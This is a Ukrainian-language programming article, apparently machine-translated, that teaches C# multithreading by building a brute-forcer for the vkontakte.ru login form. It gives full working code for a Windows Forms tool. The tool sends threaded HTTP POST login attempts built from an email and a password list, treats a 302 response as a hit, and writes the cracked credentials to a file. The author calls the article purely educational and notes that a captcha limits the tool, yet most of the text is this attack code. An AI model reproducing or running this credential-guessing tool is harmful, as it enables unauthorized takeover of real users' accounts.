Реалізація багатопоточності на прикладі створення брутфорсер Web-форм (исходники), Різне, Програмування, статті

Реалізація багатопоточності на прикладі створення брутфорсер Web-форм [C #]
1. Вступ
Потоки – невід’ємна частина сучасних програм. Вони не тільки дозволяють розвантажити користувальницький інтерфейс на час виконання програми, але і, в більшості випадках, значно прискорюють швидкість її роботи. В ці самі випадки входять математичні обчислення, взаємодія з базами даних, робота з мережевими інтерфейсами та інше. В книгах можна знайти величезну кількість теоретичного матеріалу про потоках, так що для початку раджу хоча б поверхнево з цим матеріалом ознайомитися. Ми ж займаємося їх безпосередньою реалізацією. Наша мета – написання брутфорсер. Зараз досить складно уявити собі програму цього типу, не є многопоточной: для переборщіков паролів потоки є практично невід’ємною частиною, на порядок збільшуючи швидкість Брута, в незалежності від того, на що “нацьковано” програма.
Наша мета, щоб не розбиратися зі специфічними протоколами, – звичайна HTML-форма, що застосовується для авторизації користувачів на величезній кількості сайтів. Треба сказати, що даний тип брутфорсер НЕ особливо поширений, так як створення універсального переборщіка досить важко через кількох причин, зупинятися на яких не станемо. Виберемо конкретну мету. У зв’язку з тим, що стаття носить виключно ознайомчий характер, ми напишемо такий брутфорсер, у якого буде достатньо невелика практична цінність. Конкретніше – Брут будемо форму авторизації на сайті vkontakte.ru. А справа вся в тому, що з недавнього часу була ввдедена капча, яку потрібно вводити після декількох невірно введених даних. Тому всерйоз скористатися нашим брутером не вдасться, що, втім, і не входило в мої плани при написанні цієї статті.
Отже, озброюємося Visual Studio однієї з останніх версій, невеликим запасом терпіння і приступаємо безпосередньо до кодінг.
2. Плануємо роботу
Давайте трохи конкретизуємо нашу задачу і розділимо її на окремі етапи розробки. Ми не будемо особливо піклуватися про функціональність нашої програми, все, що вона буде робити – це по заданому імені користувача (у нашому випадку, це e-mail) і файлу з паролями, виробляти багатопотокове перевірку пар e-mail: пароль на правильність. Результати будемо виводити в listBox, в разі успішного підбору, правильний пароль разом з логіном запишемо в файл. Користувачеві програми дамо можливість визначати кількість потоків, а також можливість зупиняти процес підбору пароля. Таким чином, отримуємо кілька локальних завдань різної складності, які нам належить вирішити:
• GUI
• Клас для авторизації на сайті
• Клас для перебору паролів
• Нить
Вирішувати завдання будемо якраз в тій послідовності, в якій я їх поставив. Вперед!
3. Розробка
3.1. GUI
Найпростіший етап. Створюємо додаток типу Windows Forms і працюємо над формою. Щоб не бути багатослівним, наводжу скрін мого інтерфейсу, ви можете тут застосувати свої творчі здібності. Також нам знадобиться об’єкт openFileDialog, для вибору файлу з паролями. Я не став змінювати імена елементів, пошлемося на невеликий розмір нашого проекту.

А ось як виглядає та ж форма, але з уже призначеним властивістю Caption її елементам.

Давайте я відразу наведу коди двох простих методів, які є реакцією на певні дії по відношенню до об’єктів форми (і дії і об’єкт легко визначаються по імені методу). Також пригадаємо, що нам належить здійснювати файловий ввід-висновок, тому не зайвим буде підключити відповідне простір імен.
using System.IO;

private void textBox3_Enter(object sender, EventArgs e)
{
this.openFileDialog1.ShowDialog();
this.textBox3.Text = this.openFileDialog1.FileName;
}
private void button1_Click(object sender, EventArgs e)
{
Application.Exit();
}
3.2. Клас для авторизації на сайті
Нескладно уявити загальну схему автоматичної авторизації на якому сайті: підключення; відправка даних, що містять необхідну для авторизації інформацію; отримання відповіді від сервера; аналіз отриманих даних. Ось, використовуючи цю нескладну схему, розробимо необхідний клас на основі сокетів. На цьому етапі ми вперше зіткнемося з особливостями використання потоків.
Отже, нехай наш клас сам буде записувати результат авторизації в listBox і файл, тому при створенні його примірника, нам потрібно буде передати в конструктор класу наш listBox1. Отримуємо наступний код:
public class vkontakte
{
public ListBox l;
public vkontakte(ListBox lBox)
{
l = lBox;
}
Тут і виникає проблема. З метою забезпечення безпеки, середа виконання не дозволяє безпосередньо звертатися до елементів форми не з того потоку, в якому вони були створені (генерується виключення InvalidOperationException). Як ми розуміємо, це саме наш випадок – listBox1 створюється в основному потоці, а записувати в нього дані хочуть всі інші. Існує досить багато способів обійти це обмеження, про які можна почитати в MSDN, ми ж скористаємося самим простим, на мій погляд. Робиться це з використанням методу Invoke, який присутній у всіх елементів форми. В якості аргументів метод приймає делегат, і список аргументів (необов’язковий аргумент). Invoke виконує зазначений делегат в головному потоці, чого власне ми і добиваємося.
Нагадаю, що делегати в C # є подобою покажчиків на функції в CC + +, інкапсуліруя виклик певного методу. Детальніше про делегатах ви можете прочитати в літературі. Я ж наведу код методу, а також його делегати. Код є частиною розроблюваного нами зараз класу.
public delegate void AddListItem(String str);
public AddListItem myDelegate;
public void AddListItemMethod(String str)
{
l.Items.Add(str);
}
Кожен наш потік отримає в розпорядження примірник делегата і буде і зможе безпечно викликати методи і властивості listBox1. Такі виклики називаються потокобезпечна.
Ну а тепер напишемо метод, безпосередньо проводить авторизацію. Очевидно, що в якості аргументів будемо передавати йому 2 рядкові змінні – ім’я користувача та пароль. Почати варто з ініціалізації сокетів, чим займається конструктор класу Socket. Зрозуміло, перед цим треба отримати IP адресу сайту, і провести з ним деякі стандартні маніпуляції. Складнощів виникнути не повинно, якщо сенс якихось викликаються методів буде неясний, за довідкою можна звернутися в MSDN.
using System.Net;
using System.Net.Sockets;

public bool vk_login(string email, string pass)
{
IPHostEntry hostEntry = Dns.GetHostEntry(“vkontakte.ru”);
IPAddress address = hostEntry.AddressList[0];
IPEndPoint ipEpoint = new IPEndPoint(address, 80);
Socket socket = new Socket(ipEpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
socket.Connect(ipEpoint);
Саме час додати в listBox1 інформацію про успішне (сподіваємося) підключенні. Як вже було сказано вище, нам знадобиться примірник делегата, так що створюємо його. Потім перевіряємо властивість Connected нашого сокета, і звертаємося до методу listBox “a Invoke, передаючи йому примірник делегата і об’єкт, що містить рядок, яку ми хочемо додати. Щоб кожен потік лише один раз вивів інформацію про підключення, заведемо на початку класу логічну змінну flag і проробимо не складну маніпуляцію для досягнення цієї мети. Ось власне все, про що було написано вище, на C #.
myDelegate = new AddListItem(AddListItemMethod);
if (flag)
{
if (socket.Connected)
l.Invoke(myDelegate, new object[] {“Connection successful!”} );
else
l.Invoke(myDelegate, new object[] {“Connection failed!”} );
flag = false;
}
Наступний етап розробки класу – це підготовка даних та їх відправка на сервер. Звичайно, можна скористатися сторонніми програмами, щоб дізнатися, які саме дані браузер відправляє на сайт під час авторизації. Однак, можна запозичити цю інформацію з вже готових реалізацій, чим я і зайнявся. Подивіться на отриманий код підготовки даних і їх відправки, а потім я зроблю пояснення.
string param = “success_url=&fail_url=&try_to_login=1&email=” + email + “&pass=” + pass;
Byte[] par = Encoding.ASCII.GetBytes(param);
string request = “POST /login.php HTTP/1.0
” +
“User-Agent: Opera/9.0
” +
“Content-Length: ” + par.Length + ”
” +
“Host: vkontakte.ru
” +
“Content-Type: application/x-www-form-urlencoded
” +
param;
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
socket.Send(bytesSent, bytesSent.Length, 0);
Отже, спочатку створюється рядок, що містить змінні POST-запиту. Як ми бачимо, крім службових змінних, туди входить ім’я користувача та пароль. Далі цей рядок перетвориться в послідовність байтів для подальшого отримання значення Content-Length в HTTP-запиті. Саме він міститься в змінної request. Видно, що запит містить в собі ім’я скрипта, що виробляє авторизацію на сайті (login.php), а також інші необхідні при HTTP-запиті дані. Останньою до запиту додається наша рядок змінних POST. Після цього, мінлива request перетвориться в послідовність байтів, яка відправляється на сервер методом Send ().
Саме час отримати і проаналізувати отримані дані. Вчинимо так само – спочатку я приведу код, а потім допоможу вам у ньому розібратися.
Byte[] bytesReceived = new Byte[12];
int bytes = 0;
bytes = socket.Receive(bytesReceived, bytesReceived.Length, 0);
string page = Encoding.ASCII.GetString(bytesReceived, 0, bytes);
if (String.Compare(page, “HTTP/1.1 302”) == 0)
{
l.Invoke(myDelegate, new object[] { “Password is Ok! [” + pass + “]” });
StreamWriter sw = new StreamWriter(“good.txt”);
sw.WriteLine(email + “;” + pass);
sw.Close();
socket.Close();
return true;
}
else
{
l.Invoke(myDelegate, new object[] {“Wrong password! [” + pass + “]” });
socket.Close();
return false;
}
Першим створюється масив з 12 байтів – саме стільки потрібно отримати від сервера, щоб визначити успішність авторизації. У змінній bytes буде записано кількість реально отриманих байтів від сервера. Метод Receive () якраз і займається “ресівом” даних, заповнюючи масив bytesRecived. Після цього, він перетвориться в ASCII рядок, яка, в умовному операторі, порівнюється з рядком “HTTP/1.1 302”, є показником того, що ми авторизуватися на сайті. Якщо метод Compare () повертає 0, рядки ідентичні, значить, пора додати відповідний запис в listBox1 вже знайомим нам способом, а також вивести вірну пару ім’я_користувача: пароль у файл. Після цього, сокет закривається. Подібні дії, тільки без запису в файл виробляються і при невдалій авторизації.
Не забудьте закрити фігурною дужкою написаний нами метод, а заодно закрийте і весь клас vkontakte, так як його написання ми завершили. Попереду – досить простий клас перебору.
3.3. Клас для перебору паролів
Визначимося, для початку, з тим, які функції буде виконувати цей клас. По-перше, саме він стане відправною точкою для всіх потоків, саме в ньому буде відбуватися створення примірників реалізованого вище класу vkontakte для кожного потоку. По-друге, клас повинен буде реалізовувати читання паролів з файлу, і передавати їх разом з ім’ям користувача (який буде отриманий з основного класу у час конструювання примірники) в метод vkontakte.vk_login (). Код класу досить компактний, так що я приведу його цілком зараз, а потім ми з вами його розберемо детально.
public class vk_brute
{
vkontakte vk = null;
public string pass;
public StreamReader vk_sr;
public string username;
Object locker = new Object();
public vk_brute(ListBox LB, StreamReader s, string u)
{
this.vk = new vkontakte(LB);
this.vk_sr = s;
this.username = u;
}
public void vk_start()
{
while (!vk_sr.EndOfStream)
{
lock (locker)
{
pass = vk_sr.ReadLine();
}
vk.vk_login(username, pass);
}
}
}
Отже, приступаємо до розбору. На початку, оголошуються змінні, більшості з яких значення будуть присвоєні в конструкторі. Йому, як ми бачимо, передається об’єкт listBox, який використовується в якості аргументу для конструктора класу vkontakte, файловий потік s, який ініціалізується в головному потоці (це зроблено зі зрозумілих причин – щоб кожен потік не проходив весь файл з паролями, а використовував його разом з іншими), а також строкова змінна u, що містить ім’я користувача. Окремої уваги заслуговує мінлива locker, але про неї ми поговоримо трохи пізніше.
Після конструктора ми бачимо метод vk_start (), який за своєю задумом повинен зчитувати черговий пароль з файлу і відправляти його разом з username “ом в метод vk_login (). Все власне так і відбувається, поки позиція поточного потоку не знаходиться в кінці файлового потоку s, відбувається зчитування черговий рядка методом ReadLine (), і виклик методу авторизації. Тепер поговоримо про ту саму змінної locker і про конструкцію lock.
Неважко уявити, що коли кілька потоків одночасно будуть звертатися до файлу через один файловий потік, цілком імовірна ситуація, коли зчитування черговий рядка буде зіпсовано. Все це буде відбувається через неконтрольованого зсуву поточної позиції різними потоками. Як приклад, я пропоную вам запустити цей код без конструкції lock і подивитися на результат.
Що робить ця конструкція? Вона не дозволить одному потоку увійти в розділ коду (укладений у фігурні дужки) в той момент, коли в ньому знаходиться інший потік. Як аргумент передається об’єкт, для якого створюється взаємовиключна блокування, потім виконується читання чергового рядка з файлу, і блокування знімається.
На цьому, написання і розбір чергового класу закінчений і нам залишилося розібратися лише з запуском потоків.
3.4. Нить
Під час розробки попередніх класів, ми вже стикалися з деякими особливостями розробки багатопотокових додатків – це і розподіл примірників за потоками, і звернення до елементів інтерфейсу, і блокування ділянок коду. Саме час реалізувати запуск і зупинку роботи потоків, чим ми зараз і займемося.
Для початку, нам знадобиться масив потоків. Зазвичай він оголошується поза методів в класі нашої форми. Одночасно, оголосимо целочисленную змінну, що відповідає за кількість потоків. Плюс до всього, нам необхідно використовувати простір імен System.Threading для створення потоків та операцій над ними.
using System.Threading;

public Thread[] threads;
public int nOfTreads;
Займемося запуском потоків. Це має відбуватися при натисканні на button2, тому у нас виходить наступний метод, розбір якого я виконаю нижче.
private void button2_Click(object sender, EventArgs e)
{
string uname = textBox1.Text;
nOfTreads = int.Parse(textBox2.Text);
StreamReader sr = new StreamReader(textBox3.Text);
button3.Enabled = true;
button2.Enabled = false;
vk_brute vk = new vk_brute(listBox1, sr, uname);
threads = new Thread[nOfTreads];
for (int i = 0; i < nOfTreads; i++)
{
threads[i] = new Thread(new ThreadStart(vk.vk_start));
threads[i].Start();
}
}
У перших двох рядках відбувається проста ініціалізація змінних з відповідних textBox “ов. Потім створюється файловий потік, який разом з listBox” ом та ім’ям користувача передається в конструктор при створенні екземпляра класу vk_brute. Перед цим, відключається кнопка “Почати” і включається кнопка “СТОП”. Після цього ініціалізується масив потоків. За ним слідує цикл, який безпосередньо створює потоки, використовуючи конструктор класу Thread. Йому, як параметр, передається делегат типу ThreadStart, який вказує метод, який потрібно виконати. Потім, потік запускається методом start (). Ось таким нескладним чином потоки і створюються.
Тепер розглянемо зупинку потоків. Для цього, наводжу лістинг наступного методу.

private void button3_Click(object sender, EventArgs e)
{
button3.Enabled = false;
button2.Enabled = true;
for (int i = 0; i < nOfTreads; i++)
threads[i].Abort();
}
Як бачимо, нічого складного немає. Для початку, граємося з включенням-виключенням кнопок, а потім в циклі для кожного потоку звертаємося до методу Abort (), який, як не важко здогадатися, завершує потік.
Ось і все з багатопоточність, а значить, слідуючи нашим планом, і з усією програмою.

4. Висновок
Отже, ми на конкретному прикладі переконалися в тому, що реалізація багатопоточності, незважаючи на деяку кількість моментів, на які варто звернути пильну увагу, не є складним заняттям. Виграш в швидкості перебору паролів, в нашому випадку, є величезним. В цьому ви можете переконатися самі, запустивши брутфорс виключно в основному потоці.
Звичайно, в рамках цієї статті я зміг скористатися лише малою частиною великих можливостей, і висвітлив не багато особливостей простору імен System.Threading. Але хто знає, можливо, далі буде … Спасибі за увагу.

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*